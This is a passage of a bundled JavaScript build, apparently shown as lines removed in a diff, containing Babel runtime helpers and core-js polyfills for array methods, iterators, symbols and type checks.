_nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{}],27:[function(require,module,exports){ -var arrayWithHoles = require("./arrayWithHoles.js"); - -var iterableToArrayLimit = require("./iterableToArrayLimit.js"); - -var unsupportedIterableToArray = require("./unsupportedIterableToArray.js"); - -var nonIterableRest = require("./nonIterableRest.js"); - -function _slicedToArray(arr, i) { - return arrayWithHoles(arr) || iterableToArrayLimit(arr, i) || unsupportedIterableToArray(arr, i) || nonIterableRest(); -} - -module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{"./arrayWithHoles.js":23,"./iterableToArrayLimit.js":25,"./nonIterableRest.js":26,"./unsupportedIterableToArray.js":28}],28:[function(require,module,exports){ -var _sliceInstanceProperty = require("@babel/runtime-corejs3/core-js/instance/slice"); - -var _Array$from = require("@babel/runtime-corejs3/core-js/array/from"); - -var arrayLikeToArray = require("./arrayLikeToArray.js"); - -function _unsupportedIterableToArray(o, minLen) { - var _context; - - if (!o) return; - if (typeof o === "string") return arrayLikeToArray(o, minLen); - - var n = _sliceInstanceProperty(_context = Object.prototype.toString.call(o)).call(_context, 8, -1); - - if (n === "Object" && o.constructor) n = o.constructor.name; - if (n === "Map" || n === "Set") return _Array$from(o); - if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return arrayLikeToArray(o, minLen); -} - -module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; -},{"./arrayLikeToArray.js":22,"@babel/runtime-corejs3/core-js/array/from":17,"@babel/runtime-corejs3/core-js/instance/slice":20}],29:[function(require,module,exports){ -var parent = require('../../stable/array/from'); - -module.exports = parent; - -},{"../../stable/array/from":208}],30:[function(require,module,exports){ -var parent = require('../../stable/array/is-array'); - -module.exports = parent; - -},{"../../stable/array/is-array":209}],31:[function(require,module,exports){ -var parent = require('../stable/get-iterator-method'); - -module.exports = parent; - -},{"../stable/get-iterator-method":211}],32:[function(require,module,exports){ -var parent = require('../../stable/instance/slice'); - -module.exports = parent; - -},{"../../stable/instance/slice":216}],33:[function(require,module,exports){ -var parent = require('../../stable/symbol'); - -module.exports = parent; - -},{"../../stable/symbol":221}],34:[function(require,module,exports){ -require('../../modules/es.string.iterator'); -require('../../modules/es.array.from'); -var path = require('../../internals/path'); - -module.exports = path.Array.from; - -},{"../../internals/path":142,"../../modules/es.array.from":170,"../../modules/es.string.iterator":184}],35:[function(require,module,exports){ -require('../../modules/es.array.is-array'); -var path = require('../../internals/path'); - -module.exports = path.Array.isArray; - -},{"../../internals/path":142,"../../modules/es.array.is-array":172}],36:[function(require,module,exports){ -require('../../../modules/es.array.concat'); -var entryVirtual = require('../../../internals/entry-virtual'); - -module.exports = entryVirtual('Array').concat; - -},{"../../../internals/entry-virtual":91,"../../../modules/es.array.concat":168}],37:[function(require,module,exports){ -require('../../../modules/es.array.for-each'); -var entryVirtual = require('../../../internals/entry-virtual'); - -module.exports = entryVirtual('Array').forEach; - -},{"../../../internals/entry-virtual":91,"../../../modules/es.array.for-each":169}],38:[function(require,module,exports){ -require('../../../modules/es.array.index-of'); -var entryVirtual = require('../../../internals/entry-virtual'); - -module.exports = entryVirtual('Array').indexOf; - -},{"../../../internals/entry-virtual":91,"../../../modules/es.array.index-of":171}],39:[function(require,module,exports){ -require('../../../modules/es.array.slice'); -var entryVirtual = require('../../../internals/entry-virtual'); - -module.exports = entryVirtual('Array').slice; - -},{"../../../internals/entry-virtual":91,"../../../modules/es.array.slice":174}],40:[function(require,module,exports){ -require('../../../modules/es.array.sort'); -var entryVirtual = require('../../../internals/entry-virtual'); - -module.exports = entryVirtual('Array').sort; - -},{"../../../internals/entry-virtual":91,"../../../modules/es.array.sort":175}],41:[function(require,module,exports){ -require('../modules/es.array.iterator'); -require('../modules/es.string.iterator'); -var getIteratorMethod = require('../internals/get-iterator-method'); - -module.exports = getIteratorMethod; - -},{"../internals/get-iterator-method":101,"../modules/es.array.iterator":173,"../modules/es.string.iterator":184}],42:[function(require,module,exports){ -var isPrototypeOf = require('../../internals/object-is-prototype-of'); -var method = require('../array/virtual/concat'); - -var ArrayPrototype = Array.prototype; - -module.exports = function (it) { - var own = it.concat; - return it === ArrayPrototype || (isPrototypeOf(ArrayPrototype, it) && own === ArrayPrototype.concat) ? method : own; -}; - -},{"../../internals/object-is-prototype-of":135,"../array/virtual/concat":36}],43:[function(require,module,exports){ -var isPrototypeOf = require('../../internals/object-is-prototype-of'); -var flags = require('../regexp/flags'); - -var RegExpPrototype = RegExp.prototype; - -module.exports = function (it) { - return (it === RegExpPrototype || isPrototypeOf(RegExpPrototype, it)) ? flags(it) : it.flags; -}; - -},{"../../internals/object-is-prototype-of":135,"../regexp/flags":50}],44:[function(require,module,exports){ -var isPrototypeOf = require('../../internals/object-is-prototype-of'); -var method = require('../array/virtual/index-of'); - -var ArrayPrototype = Array.prototype; - -module.exports = function (it) { - var own = it.indexOf; - return it === ArrayPrototype || (isPrototypeOf(ArrayPrototype, it) && own === ArrayPrototype.indexOf) ? method : own; -}; - -},{"../../internals/object-is-prototype-of":135,"../array/virtual/index-of":38}],45:[function(require,module,exports){ -var isPrototypeOf = require('../../internals/object-is-prototype-of'); -var method = require('../array/virtual/slice'); - -var ArrayPrototype = Array.prototype; - -module.exports = function (it) { - var own = it.slice; - return it === ArrayPrototype || (isPrototypeOf(ArrayPrototype, it) && own === ArrayPrototype.slice) ? method : own; -}; - -},{"../../internals/object-is-prototype-of":135,"../array/virtual/slice":39}],46:[function(require,module,exports){ -var isPrototypeOf = require('../../internals/object-is-prototype-of'); -var method = require('../array/virtual/sort'); - -var ArrayPrototype = Array.prototype; - -module.exports = function (it) { - var own = it.sort; - return it === ArrayPrototype || (isPrototypeOf(ArrayPrototype, it) && own === ArrayPrototype.sort) ? method : own; -}; - -},{"../../internals/object-is-prototype-of":135,"../array/virtual/sort":40}],47:[function(require,module,exports){ -require('../../modules/es.object.create'); -var path = require('../../internals/path'); - -var Object = path.Object; - -module.exports = function create(P, D) { - return Object.create(P, D); -}; - -},{"../../internals/path":142,"../../modules/es.object.create":178}],48:[function(require,module,exports){ -require('../../modules/es.object.define-property'); -var path = require('../../internals/path'); - -var Object = path.Object; - -var defineProperty = module.exports = function defineProperty(it, key, desc) { - return Object.defineProperty(it, key, desc); -}; - -if (Object.defineProperty.sham) defineProperty.sham = true; - -},{"../../internals/path":142,"../../modules/es.object.define-property":179}],49:[function(require,module,exports){ -require('../modules/es.parse-int'); -var path = require('../internals/path'); - -module.exports = path.parseInt; - -},{"../internals/path":142,"../modules/es.parse-int":181}],50:[function(require,module,exports){ -require('../../modules/es.regexp.flags'); -var uncurryThis = require('../../internals/function-uncurry-this'); -var regExpFlags = require('../../internals/regexp-flags'); - -module.exports = uncurryThis(regExpFlags); - -},{"../../internals/function-uncurry-this":99,"../../internals/regexp-flags":144,"../../modules/es.regexp.flags":183}],51:[function(require,module,exports){ -require('../../modules/es.array.concat'); -require('../../modules/es.object.to-string'); -require('../../modules/es.symbol'); -require('../../modules/es.symbol.async-iterator'); -require('../../modules/es.symbol.description'); -require('../../modules/es.symbol.has-instance'); -require('../../modules/es.symbol.is-concat-spreadable'); -require('../../modules/es.symbol.iterator'); -require('../../modules/es.symbol.match'); -require('../../modules/es.symbol.match-all'); -require('../../modules/es.symbol.replace'); -require('../../modules/es.symbol.search'); -require('../../modules/es.symbol.species'); -require('../../modules/es.symbol.split'); -require('../../modules/es.symbol.to-primitive'); -require('../../modules/es.symbol.to-string-tag'); -require('../../modules/es.symbol.unscopables'); -require('../../modules/es.json.to-string-tag'); -require('../../modules/es.math.to-string-tag'); -require('../../modules/es.reflect.to-string-tag'); -var path = require('../../internals/path'); - -module.exports = path.Symbol; - -},{"../../internals/path":142,"../../modules/es.array.concat":168,"../../modules/es.json.to-string-tag":176,"../../modules/es.math.to-string-tag":177,"../../modules/es.object.to-string":180,"../../modules/es.reflect.to-string-tag":182,"../../modules/es.symbol":190,"../../modules/es.symbol.async-iterator":185,"../../modules/es.symbol.description":186,"../../modules/es.symbol.has-instance":187,"../../modules/es.symbol.is-concat-spreadable":188,"../../modules/es.symbol.iterator":189,"../../modules/es.symbol.match":192,"../../modules/es.symbol.match-all":191,"../../modules/es.symbol.replace":193,"../../modules/es.symbol.search":194,"../../modules/es.symbol.species":195,"../../modules/es.symbol.split":196,"../../modules/es.symbol.to-primitive":197,"../../modules/es.symbol.to-string-tag":198,"../../modules/es.symbol.unscopables":199}],52:[function(require,module,exports){ -var parent = require('../../actual/array/from'); - -module.exports = parent; - -},{"../../actual/array/from":29}],53:[function(require,module,exports){ -var parent = require('../../actual/array/is-array'); - -module.exports = parent; - -},{"../../actual/array/is-array":30}],54:[function(require,module,exports){ -var parent = require('../actual/get-iterator-method'); - -module.exports = parent; - -},{"../actual/get-iterator-method":31}],55:[function(require,module,exports){ -var parent = require('../../actual/instance/slice'); - -module.exports = parent; - -},{"../../actual/instance/slice":32}],56:[function(require,module,exports){ -var parent = require('../../actual/symbol'); -require('../../modules/esnext.symbol.async-dispose'); -require('../../modules/esnext.symbol.dispose'); -require('../../modules/esnext.symbol.matcher'); -require('../../modules/esnext.symbol.metadata'); -require('../../modules/esnext.symbol.observable'); -// TODO: Remove from `core-js@4` -require('../../modules/esnext.symbol.pattern-match'); -// TODO: Remove from `core-js@4` -require('../../modules/esnext.symbol.replace-all'); - -module.exports = parent; - -},{"../../actual/symbol":33,"../../modules/esnext.symbol.async-dispose":200,"../../modules/esnext.symbol.dispose":201,"../../modules/esnext.symbol.matcher":202,"../../modules/esnext.symbol.metadata":203,"../../modules/esnext.symbol.observable":204,"../../modules/esnext.symbol.pattern-match":205,"../../modules/esnext.symbol.replace-all":206}],57:[function(require,module,exports){ -var global = require('../internals/global'); -var isCallable = require('../internals/is-callable'); -var tryToString = require('../internals/try-to-string'); - -var TypeError = global.TypeError; - -// `Assert: IsCallable(argument) is true` -module.exports = function (argument) { - if (isCallable(argument)) return argument; - throw TypeError(tryToString(argument) + ' is not a function'); -}; - -},{"../internals/global":104,"../internals/is-callable":114,"../internals/try-to-string":162}],58:[function(require,module,exports){ -var global = require('../internals/global'); -var isCallable = require('../internals/is-callable'); - -var String = global.String; -var TypeError = global.TypeError; - -module.exports = function (argument) { - if (typeof argument == 'object' || isCallable(argument)) return argument; - throw TypeError("Can't set " + String(argument) + ' as a prototype'); -}; - -},{"../internals/global":104,"../internals/is-callable":114}],59:[function(require,module,exports){ -module.exports = function () { /* empty */ }; - -},{}],60:[function(require,module,exports){ -var global = require('../internals/global'); -var isObject = require('../internals/is-object'); - -var String = global.String; -var TypeError = global.TypeError; - -// `Assert: Type(argument) is Object` -module.exports = function (argument) { - if (isObject(argument)) return argument; - throw TypeError(String(argument) + ' is not an object'); -}; - -},{"../internals/global":104,"../internals/is-object":117}],61:[function(require,module,exports){ -'use strict'; -var $forEach = require('../internals/array-iteration').forEach; -var arrayMethodIsStrict = require('../internals/array-method-is-strict'); - -var STRICT_METHOD = arrayMethodIsStrict('forEach'); - -// `Array.prototype.forEach` method implementation -// https://tc39.es/ecma262/#sec-array.prototype.foreach -module.exports = !STRICT_METHOD ? function forEach(callbackfn /* , thisArg */) { - return $forEach(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); -// eslint-disable-next-line es/no-array-prototype-foreach -- safe -} : [].forEach; - -},{"../internals/array-iteration":64,"../internals/array-method-is-strict":66}],62:[function(require,module,exports){ -'use strict'; -var global = require('../internals/global'); -var bind = require('../internals/function-bind-context'); -var call = require('../internals/function-call'); -var toObject = require('../internals/to-object'); -var callWithSafeIterationClosing = require('../internals/call-with-safe-iteration-closing'); -var isArrayIteratorMethod = require('../internals/is-array-iterator-method'); -var isConstructor = require('../internals/is-constructor'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); -var createProperty = require('../internals/create-property'); -var getIterator = require('../internals/get-iterator'); -var getIteratorMethod = require('../internals/get-iterator-method'); - -var Array = global.Array; - -// `Array.from` method implementation -// https://tc39.es/ecma262/#sec-array.from -module.exports = function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) { - var O = toObject(arrayLike); - var IS_CONSTRUCTOR = isConstructor(this); - var argumentsLength = arguments.length; - var mapfn = argumentsLength > 1 ? arguments[1] : undefined; - var mapping = mapfn !== undefined; - if (mapping) mapfn = bind(mapfn, argumentsLength > 2 ? arguments[2] : undefined); - var iteratorMethod = getIteratorMethod(O); - var index = 0; - var length, result, step, iterator, next, value; - // if the target is not iterable or it's an array with the default iterator - use a simple case - if (iteratorMethod && !(this == Array && isArrayIteratorMethod(iteratorMethod))) { - iterator = getIterator(O, iteratorMethod); - next = iterator.next; - result = IS_CONSTRUCTOR ? new this() : []; - for (;!(step = call(next, iterator)).done; index++) { - value = mapping ? callWithSafeIterationClosing(iterator, mapfn, [step.value, index], true) : step.value; - createProperty(result, index, value); - } - } else { - length = lengthOfArrayLike(O); - result = IS_CONSTRUCTOR ? new this(length) : Array(length); - for (;length > index; index++) { - value = mapping ? mapfn(O[index], index) : O[index]; - createProperty(result, index, value); - } - } - result.length = index; - return result; -}; - -},{"../internals/call-with-safe-iteration-closing":72,"../internals/create-property":80,"../internals/function-bind-context":96,"../internals/function-call":97,"../internals/get-iterator":102,"../internals/get-iterator-method":101,"../internals/global":104,"../internals/is-array-iterator-method":112,"../internals/is-constructor":115,"../internals/length-of-array-like":123,"../internals/to-object":157}],63:[function(require,module,exports){ -var toIndexedObject = require('../internals/to-indexed-object'); -var toAbsoluteIndex = require('../internals/to-absolute-index'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); - -// `Array.prototype.{ indexOf, includes }` methods implementation -var createMethod = function (IS_INCLUDES) { - return function ($this, el, fromIndex) { - var O = toIndexedObject($this); - var length = lengthOfArrayLike(O); - var index = toAbsoluteIndex(fromIndex, length); - var value; - // Array#includes uses SameValueZero equality algorithm - // eslint-disable-next-line no-self-compare -- NaN check - if (IS_INCLUDES && el != el) while (length > index) { - value = O[index++]; - // eslint-disable-next-line no-self-compare -- NaN check - if (value != value) return true; - // Array#indexOf ignores holes, Array#includes - not - } else for (;length > index; index++) { - if ((IS_INCLUDES || index in O) && O[index] === el) return IS_INCLUDES || index || 0; - } return !IS_INCLUDES && -1; - }; -}; - -module.exports = { - // `Array.prototype.includes` method - // https://tc39.es/ecma262/#sec-array.prototype.includes - includes: createMethod(true), - // `Array.prototype.indexOf` method - // https://tc39.es/ecma262/#sec-array.prototype.indexof - indexOf: createMethod(false) -}; - -},{"../internals/length-of-array-like":123,"../internals/to-absolute-index":153,"../internals/to-indexed-object":154}],64:[function(require,module,exports){ -var bind = require('../internals/function-bind-context'); -var uncurryThis = require('../internals/function-uncurry-this'); -var IndexedObject = require('../internals/indexed-object'); -var toObject = require('../internals/to-object'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); -var arraySpeciesCreate = require('../internals/array-species-create'); - -var push = uncurryThis([].push); - -// `Array.prototype.{ forEach, map, filter, some, every, find, findIndex, filterReject }` methods implementation -var createMethod = function (TYPE) { - var IS_MAP = TYPE == 1; - var IS_FILTER = TYPE == 2; - var IS_SOME = TYPE == 3; - var IS_EVERY = TYPE == 4; - var IS_FIND_INDEX = TYPE == 6; - var IS_FILTER_REJECT = TYPE == 7; - var NO_HOLES = TYPE == 5 || IS_FIND_INDEX; - return function ($this, callbackfn, that, specificCreate) { - var O = toObject($this); - var self = IndexedObject(O); - var boundFunction = bind(callbackfn, that); - var length = lengthOfArrayLike(self); - var index = 0; - var create = specificCreate || arraySpeciesCreate; - var target = IS_MAP ? create($this, length) : IS_FILTER || IS_FILTER_REJECT ? create($this, 0) : undefined; - var value, result; - for (;length > index; index++) if (NO_HOLES || index in self) { - value = self[index]; - result = boundFunction(value, index, O); - if (TYPE) { - if (IS_MAP) target[index] = result; // map - else if (result) switch (TYPE) { - case 3: return true; // some - case 5: return value; // find - case 6: return index; // findIndex - case 2: push(target, value); // filter - } else switch (TYPE) { - case 4: return false; // every - case 7: push(target, value); // filterReject - } - } - } - return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : target; - }; -}; - -module.exports = { - // `Array.prototype.forEach` method - // https://tc39.es/ecma262/#sec-array.prototype.foreach - forEach: createMethod(0), - // `Array.prototype.map` method - // https://tc39.es/ecma262/#sec-array.prototype.map - map: createMethod(1), - // `Array.prototype.filter` method - // https://tc39.es/ecma262/#sec-array.prototype.filter - filter: createMethod(2), - // `Array.prototype.some` method - // https://tc39.es/ecma262/#sec-array.prototype.some - some: createMethod(3), - // `Array.prototype.every` method - // https://tc39.es/ecma262/#sec-array.prototype.every - every: createMethod(4), - // `Array.prototype.find` method - // https://tc39.es/ecma262/#sec-array.prototype.find - find: createMethod(5), - // `Array.prototype.findIndex` method - // https://tc39.es/ecma262/#sec-array.prototype.findIndex - findIndex: createMethod(6), - // `Array.prototype.filterReject` method - // https://github.com/tc39/proposal-array-filtering - filterReject: createMethod(7) -}; - -},{"../internals/array-species-create":71,"../internals/function-bind-context":96,"../internals/function-uncurry-this":99,"../internals/indexed-object":109,"../internals/length-of-array-like":123,"../internals/to-object":157}],65:[function(require,module,exports){ -var fails = require('../internals/fails'); -var wellKnownSymbol = require('../internals/well-known-symbol'); -var V8_VERSION = require('../internals/engine-v8-version'); - -var SPECIES = wellKnownSymbol('species'); - -module.exports = function (METHOD_NAME) { - // We can't use this feature detection in V8 since it causes - // deoptimization and serious performance degradation - // https://github.com/zloirock/core-js/issues/677 - return V8_VERSION >= 51 || !fails(function () { - var array = []; - var constructor = array.constructor = {}; - constructor[SPECIES] = function () { - return { foo: 1 }; - }; - return array[METHOD_NAME](Boolean).foo !== 1; - }); -}; - -},{"../internals/engine-v8-version":89,"../internals/fails":94,"../internals/well-known-symbol":166}],66:[function(require,module,exports){ -'use strict'; -var fails = require('../internals/fails'); - -module.exports = function (METHOD_NAME, argument) { - var method = [][METHOD_NAME]; - return !!method && fails(function () { - // eslint-disable-next-line no-useless-call,no-throw-literal -- required for testing - method.call(null, argument || function () { throw 1; }, 1); - }); -}; - -},{"../internals/fails":94}],67:[function(require,module,exports){ -var global = require('../internals/global'); -var toAbsoluteIndex = require('../internals/to-absolute-index'); -var lengthOfArrayLike = require('../internals/length-of-array-like'); -var createProperty = require('../internals/create-property'); - -var Array = global.Array; -var max = Math.max; - -module.exports = function (O, start, end) { - var length = lengthOfArrayLike(O); - var k = toAbsoluteIndex(start, length); - var fin = toAbsoluteIndex(end === undefined ? length : end, length); - var result = Array(max(fin - k, 0)); - for (var n = 0; k < fin; k++, n++) createProperty(result, n, O[k]); - result.length = n; - return result; -}; - -},{"../internals/create-property":80,"../internals/global":104,"../internals/length-of-array-like":123,"../internals/to-absolute-index":153}],68:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); - -module.exports = uncurryThis([].slice); - -},{"../internals/function-uncurry-this":99}],69:[function(require,module,exports){ -var arraySlice = require('../internals/array-slice-simple'); - -var floor = Math.floor; - -var mergeSort = function (array, comparefn) { - var length = array.length; - var middle = floor(length / 2); - return length < 8 ? insertionSort(array, comparefn) : merge( - array, - mergeSort(arraySlice(array, 0, middle), comparefn), - mergeSort(arraySlice(array, middle), comparefn), - comparefn - ); -}; - -var insertionSort = function (array, comparefn) { - var length = array.length; - var i = 1; - var element, j; - - while (i < length) { - j = i; - element = array[i]; - while (j && comparefn(array[j - 1], element) > 0) { - array[j] = array[--j]; - } - if (j !== i++) array[j] = element; - } return array; -}; - -var merge = function (array, left, right, comparefn) { - var llength = left.length; - var rlength = right.length; - var lindex = 0; - var rindex = 0; - - while (lindex < llength || rindex < rlength) { - array[lindex + rindex] = (lindex < llength && rindex < rlength) - ? comparefn(left[lindex], right[rindex]) <= 0 ? left[lindex++] : right[rindex++] - : lindex < llength ? left[lindex++] : right[rindex++]; - } return array; -}; - -module.exports = mergeSort; - -},{"../internals/array-slice-simple":67}],70:[function(require,module,exports){ -var global = require('../internals/global'); -var isArray = require('../internals/is-array'); -var isConstructor = require('../internals/is-constructor'); -var isObject = require('../internals/is-object'); -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var SPECIES = wellKnownSymbol('species'); -var Array = global.Array; - -// a part of `ArraySpeciesCreate` abstract operation -// https://tc39.es/ecma262/#sec-arrayspeciescreate -module.exports = function (originalArray) { - var C; - if (isArray(originalArray)) { - C = originalArray.constructor; - // cross-realm fallback - if (isConstructor(C) && (C === Array || isArray(C.prototype))) C = undefined; - else if (isObject(C)) { - C = C[SPECIES]; - if (C === null) C = undefined; - } - } return C === undefined ? Array : C; -}; - -},{"../internals/global":104,"../internals/is-array":113,"../internals/is-constructor":115,"../internals/is-object":117,"../internals/well-known-symbol":166}],71:[function(require,module,exports){ -var arraySpeciesConstructor = require('../internals/array-species-constructor'); - -// `ArraySpeciesCreate` abstract operation -// https://tc39.es/ecma262/#sec-arrayspeciescreate -module.exports = function (originalArray, length) { - return new (arraySpeciesConstructor(originalArray))(length === 0 ? 0 : length); -}; - -},{"../internals/array-species-constructor":70}],72:[function(require,module,exports){ -var anObject = require('../internals/an-object'); -var iteratorClose = require('../internals/iterator-close'); - -// call something on iterator step with safe closing on error -module.exports = function (iterator, fn, value, ENTRIES) { - try { - return ENTRIES ? fn(anObject(value)[0], value[1]) : fn(value); - } catch (error) { - iteratorClose(iterator, 'throw', error); - } -}; - -},{"../internals/an-object":60,"../internals/iterator-close":120}],73:[function(require,module,exports){ -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var ITERATOR = wellKnownSymbol('iterator'); -var SAFE_CLOSING = false; - -try { - var called = 0; - var iteratorWithReturn = { - next: function () { - return { done: !!called++ }; - }, - 'return': function () { - SAFE_CLOSING = true; - } - }; - iteratorWithReturn[ITERATOR] = function () { - return this; - }; - // eslint-disable-next-line es/no-array-from, no-throw-literal -- required for testing - Array.from(iteratorWithReturn, function () { throw 2; }); -} catch (error) { /* empty */ } - -module.exports = function (exec, SKIP_CLOSING) { - if (!SKIP_CLOSING && !SAFE_CLOSING) return false; - var ITERATION_SUPPORT = false; - try { - var object = {}; - object[ITERATOR] = function () { - return { - next: function () { - return { done: ITERATION_SUPPORT = true }; - } - }; - }; - exec(object); - } catch (error) { /* empty */ } - return ITERATION_SUPPORT; -}; - -},{"../internals/well-known-symbol":166}],74:[function(require,module,exports){ -var uncurryThis = require('../internals/function-uncurry-this'); - -var toString = uncurryThis({}.toString); -var stringSlice = uncurryThis(''.slice); - -module.exports = function (it) { - return stringSlice(toString(it), 8, -1); -}; - -},{"../internals/function-uncurry-this":99}],75:[function(require,module,exports){ -var global = require('../internals/global'); -var TO_STRING_TAG_SUPPORT = require('../internals/to-string-tag-support'); -var isCallable = require('../internals/is-callable'); -var classofRaw = require('../internals/classof-raw'); -var wellKnownSymbol = require('../internals/well-known-symbol'); - -var TO_STRING_TAG = wellKnownSymbol('toStringTag'); -var Object = global.Object; - -// ES3 wrong here -var CORRECT_ARGUMENTS = classofRaw(function () { return arguments; }()) == 'Arguments'; - -// fallback for IE11 Script Access Denied error -var tryGet = function (it, key) { - try { - return it[key]; - } catch (error) { /* empty */ } -}; - -// getting tag from ES6+ `Object.prototype.toString` -module.exports = TO_STRING_TAG_SUPPORT ? classofRaw : function (it) { - var O, tag, result; - return it === undefined ? 'Undefined' : it === null ? 'Null' - // @@toStringTag case - : typeof (tag = tryGet(O = Object(it), TO_STRING_TAG)) == 'string' ? tag - // builtinTag case - : CORRECT_ARGUMENTS ? classofRaw(O) - // ES3 arguments fallback - : (result = classofRaw(O)) == 'Object' && isCallable(O.callee) ? 'Arguments' : result; -}; - -},{"../internals/classof-raw":74,"../internals/global":104,"../internals/is-callable":114,"../internals/to-string-tag-support":160,"../internals/well-known-symbol":166}],76:[function(require,module,exports){ -var fails = require('../internals/fails'); - -module.exports = !fails(function () { - function F() { /* empty */ } - F.prototype.constructor = null; - // eslint-disable-next-line es/no-object-getprototypeof -- required for testing - return Object.getPrototypeOf(new F()) !== F.prototype; -}); - -},{"../internals/fails":94}],77:[function(require,module,exports){ -'use strict'; -var IteratorPrototype = require('../internals/iterators-core').IteratorPrototype; -var create = require('../internals/object-create'); -var createPropertyDescriptor = require('../internals/create-property-descriptor'); -var setToStringTag = require('../internals/set-to-string-tag'); -var Iterators = require('../internals/iterators'); - -var returnThis = function () { return this; }; - -module.exports = function (IteratorConstructor, NAME, next, ENUMERABLE_NEXT) { - var TO_STRING_TAG = NAME + ' Iterator'; - IteratorConstructor.prototype = create(IteratorPrototype, { next: createPropertyDescriptor(+!ENUMERABLE_NEXT, next) }); - setToStringTag(IteratorConstructor, TO_STRING_TAG, false, true); - Iterators[TO_STRING_TAG] = returnThis; - return IteratorConstructor; -}; - -},{"../internals/create-property-descriptor":79,"../internals/iterators":122,"../internals/iterators-core":121,"../internals/object-create":127,"../internals/set-to-string-tag":147}],78:[function(require,module,exports){ -var DESCRIPTORS = require('../internals/descriptors'); -var definePropertyModule = require('../internals/object-define-property'); -var createPropertyDescriptor = require('../internals/create-property-descriptor'); - -module.exports = DESCRIPTORS ? function (object, key, value) { - return definePropertyModule.f(object, key, createPropertyDescriptor(1, value)); -} : function (object, key, value) { - object[key] = value; - return object; -}; - -},{"../internals/create-property-descriptor":79,"../internals/descriptors":83,"../internals/object-define-property":129}],79:[function(require,module,exports){ -module.exports = function (bitmap, value) { - return { - enumerable: !(bitmap & 1), - configurable: !(bitmap & 2), - writable: !(bitmap & 4), - value: value - }; -}; - -},{}],80:[function(require,module,exports){ -'use strict'; -var toPropertyKey = require('../internals/to-property-key'); -var definePropertyModule = require('../internals/object-define-property'); -var createPropertyDescriptor = require('../internals/create-property-descriptor'); - -module.exports = function (object, key, value) { - var propertyKey = toPropertyKey(key); - if (propertyKey in object) definePropertyModule.f(object, propertyKey, createPropertyDescriptor(0, value)); - else object[propertyKey] = value; -}; - -},{"../internals/create-property-descriptor":79,"../internals/object-define-property":129,"../internals/to-property-key":159}],81:[function(require,module,exports){ -'use strict'; -var $ = require('../internals/export'); -var call = require('../internals/function-call'); -var IS_PURE = require('../internals/is-pure'); -var FunctionName = require('../internals/function-name'); -var isCallable = require('../internals/is-callable'); -var createIteratorConstructor = require('../internals/create-iterator-constructor'); -var getPrototypeOf = require('../internals/object-get-prototype-of'); -var setPrototypeOf = require('../internals/object-set-prototype-of'); -var setToStringTag = require('../internals/set-to-string-tag'); -var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); -var redefine = require('../internals/redefine'); -var wellKnownSymbol = require('../internals/well-known-symbol'); -var Iterators = require('../internals/iterators'); -var IteratorsCore = require('../internals/iterators-core'); - -var PROPER_FUNCTION_NAME = FunctionName.PROPER; -var CONFIGURABLE_FUNCTION_NAME = FunctionName.CONFIGURABLE; -var IteratorPrototype = IteratorsCore.IteratorPrototype; -var BUGGY_SAFARI_ITERATORS = IteratorsCore.BUGGY_SAFARI_ITERATORS; -var ITERATOR = wellKnownSymbol('iterator'); -var KEYS = 'keys'; -var VALUES = 'values'; -var ENTRIES = 'entries'; - -var returnThis = function () { return this; }; - -module.exports = function (Iterable, NAME, IteratorConstructor, next, DEFAULT, IS_SET, FORCED) { - createIteratorConstructor(IteratorConstructor, NAME, next); - - var getIterationMethod = function (KIND) { - if (KIND === DEFAULT && defaultIterator) return defaultIterator; - if (!BUGGY_SAFARI_ITERATORS && KIND in IterablePrototype) return IterablePrototype[KIND]; - switch (KIND) { - case KEYS: return function keys() { return new IteratorConstructor(this, KIND); }; - case VALUES: return function values() { return new IteratorConstructor(this, KIND); }; - case ENTRIES: return function entries() { return new IteratorConstructor(this, KIND); }; - } return function () { return new IteratorConstructor(this); }; - }; - - var TO_STRING_TAG = NAME + ' Iterator'; - var INCORRECT_VALUES_NAME = false; - var IterablePrototype = Iterable.prototype; - var nativeIterator = IterablePrototype[ITERATOR] - || IterablePrototype['@@iterator'] - || DEFAULT && IterablePrototype[DEFAULT]; - var defaultIterator = !BUGGY_SAFARI_ITERATORS && nativeIterator || getIterationMethod(DEFAULT); - var anyNativeIterator = NAME == 'Array' ? IterablePrototype.entries || nativeIterator : nativeIterator; - var CurrentIteratorPrototype, methods, KEY; - - // fix native - if (anyNativeIterator) { - CurrentIteratorPrototype = getPrototypeOf(anyNativeIterator.call(new Iterable())); - if (CurrentIteratorPrototype !== Object.prototype && CurrentIteratorPrototype.next) { - if (!IS_PURE && getPrototypeOf(CurrentIteratorPrototype) !== IteratorPrototype) { - if (setPrototypeOf) { - setPrototypeOf(CurrentIteratorPrototype, IteratorPrototype); - } else if (!isCallable(CurrentIteratorPrototype[ITERATOR])) { - redefine(CurrentIteratorPrototype, ITERATOR, returnThis); - } - } - // Set @@toStringTag to native iterators - setToStringTag(CurrentIteratorPrototype, TO_STRING_TAG, true, true); - if (IS_PURE) Iterators[TO_STRING_TAG] = returnThis; - } - } - - // fix Array.prototype.{ values, @@iterator }.name in V8 / FF - if (PROPER_FUNCTION_NAME && DEFAULT == VALUES && nativeIterator && nativeIterator.name !== VALUES) { - if (!IS_PURE && CONFIGURABLE_FUNCTION_NAME) { - createNonEnumerableProperty(IterablePrototype, 'name', VALUES); - } else { - INCORRECT_VALUES_NAME = true; - defaultIterator = function values() { return call(nativeIterator, this); }; - } - } - - // export additional methods - if (DEFAULT) { - methods = { - values: getIterationMethod(VALUES), - keys: IS_SET ? defaultIterator : getIterationMethod(KEYS), - entries: getIterationMethod(ENTRIES) - }; - if (FORCED) for (KEY in methods) { - if (BUGGY_SAFARI_ITERATORS || INCORRECT_VALUES_NAME || !(KEY in IterablePrototype)) { - redefine(IterablePrototype, KEY, methods[KEY]); - } - } else $({ target: NAME, proto: true, forced: BUGGY_SAFARI_ITERATORS || 